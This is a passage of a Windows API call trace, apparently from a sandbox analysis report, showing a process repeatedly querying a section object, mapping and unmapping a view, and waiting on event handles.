ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.483] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.483] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.483] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.483] ResetEvent (hEvent=0x110) returned 1 [0072.483] SetEvent (hEvent=0x114) returned 1 [0072.483] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.483] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.483] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.483] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.483] ResetEvent (hEvent=0x110) returned 1 [0072.483] SetEvent (hEvent=0x114) returned 1 [0072.483] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.484] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.484] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.484] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.484] ResetEvent (hEvent=0x110) returned 1 [0072.484] SetEvent (hEvent=0x114) returned 1 [0072.484] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.484] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.484] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.484] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.484] ResetEvent (hEvent=0x110) returned 1 [0072.484] SetEvent (hEvent=0x114) returned 1 [0072.484] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.484] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.484] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.484] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.484] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.484] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.485] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.485] ResetEvent (hEvent=0x110) returned 1 [0072.485] SetEvent (hEvent=0x114) returned 1 [0072.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.485] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.485] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.485] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.485] ResetEvent (hEvent=0x110) returned 1 [0072.485] SetEvent (hEvent=0x114) returned 1 [0072.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.485] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.485] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.485] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.485] ResetEvent (hEvent=0x110) returned 1 [0072.485] SetEvent (hEvent=0x114) returned 1 [0072.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.485] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.486] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.486] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.486] ResetEvent (hEvent=0x110) returned 1 [0072.486] SetEvent (hEvent=0x114) returned 1 [0072.486] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.486] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.486] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.486] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.486] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.486] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.486] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.486] ResetEvent (hEvent=0x110) returned 1 [0072.486] SetEvent (hEvent=0x114) returned 1 [0072.486] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.486] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.487] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.487] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.487] ResetEvent (hEvent=0x110) returned 1 [0072.487] SetEvent (hEvent=0x114) returned 1 [0072.487] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.487] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.487] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.487] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.487] ResetEvent (hEvent=0x110) returned 1 [0072.487] SetEvent (hEvent=0x114) returned 1 [0072.487] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.487] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.487] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.487] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.487] ResetEvent (hEvent=0x110) returned 1 [0072.487] SetEvent (hEvent=0x114) returned 1 [0072.487] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.488] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.488] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.488] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.488] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.488] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.488] ResetEvent (hEvent=0x110) returned 1 [0072.488] SetEvent (hEvent=0x114) returned 1 [0072.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.488] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.488] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.488] ResetEvent (hEvent=0x110) returned 1 [0072.488] SetEvent (hEvent=0x114) returned 1 [0072.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.488] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.488] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.489] ResetEvent (hEvent=0x110) returned 1 [0072.489] SetEvent (hEvent=0x114) returned 1 [0072.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.489] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.489] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.489] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.489] ResetEvent (hEvent=0x110) returned 1 [0072.489] SetEvent (hEvent=0x114) returned 1 [0072.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.489] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.489] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.489] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.489] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.489] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.489] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.489] ResetEvent (hEvent=0x110) returned 1 [0072.489] SetEvent (hEvent=0x114) returned 1 [0072.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.490] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.490] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.490] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.490] ResetEvent (hEvent=0x110) returned 1 [0072.490] SetEvent (hEvent=0x114) returned 1 [0072.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.490] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.490] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.490] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.490] ResetEvent (hEvent=0x110) returned 1 [0072.490] SetEvent (hEvent=0x114) returned 1 [0072.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.490] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.490] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.490] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.490] ResetEvent (hEvent=0x110) returned 1 [0072.491] SetEvent (hEvent=0x114) returned 1 [0072.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.491] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.491] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.491] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.491] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.491] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.491] ResetEvent (hEvent=0x110) returned 1 [0072.491] SetEvent (hEvent=0x114) returned 1 [0072.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.491] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.491] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.491] ResetEvent (hEvent=0x110) returned 1 [0072.491] SetEvent (hEvent=0x114) returned 1 [0072.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.492] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.492] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.492] ResetEvent (hEvent=0x110) returned 1 [0072.492] SetEvent (hEvent=0x114) returned 1 [0072.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.492] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.492] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.492] ResetEvent (hEvent=0x110) returned 1 [0072.492] SetEvent (hEvent=0x114) returned 1 [0072.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.492] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.492] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.492] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.493] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.493] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.493] ResetEvent (hEvent=0x110) returned 1 [0072.493] SetEvent (hEvent=0x114) returned 1 [0072.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.493] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.493] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.493] ResetEvent (hEvent=0x110) returned 1 [0072.493] SetEvent (hEvent=0x114) returned 1 [0072.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.493] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.493] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.493] ResetEvent (hEvent=0x110) returned 1 [0072.493] SetEvent (hEvent=0x114) returned 1 [0072.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.494] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.494] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.494] ResetEvent (hEvent=0x110) returned 1 [0072.494] SetEvent (hEvent=0x114) returned 1 [0072.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.494] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.494] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.494] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.494] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.494] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.494] ResetEvent (hEvent=0x110) returned 1 [0072.494] SetEvent (hEvent=0x114) returned 1 [0072.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.494] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.495] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.495] ResetEvent (hEvent=0x110) returned 1 [0072.495] SetEvent (hEvent=0x114) returned 1 [0072.495] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.495] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.495] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.495] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.495] ResetEvent (hEvent=0x110) returned 1 [0072.495] SetEvent (hEvent=0x114) returned 1 [0072.495] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.495] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.495] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.495] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.495] ResetEvent (hEvent=0x110) returned 1 [0072.495] SetEvent (hEvent=0x114) returned 1 [0072.495] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.495] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.496] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.496] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.496] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.496] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.496] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.496] ResetEvent (hEvent=0x110) returned 1 [0072.496] SetEvent (hEvent=0x114) returned 1 [0072.496] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.496] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.496] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.496] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.496] ResetEvent (hEvent=0x110) returned 1 [0072.496] SetEvent (hEvent=0x114) returned 1 [0072.496] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.496] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.496] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.496] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.497] ResetEvent (hEvent=0x110) returned 1 [0072.497] SetEvent (hEvent=0x114) returned 1 [0072.497] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.497] 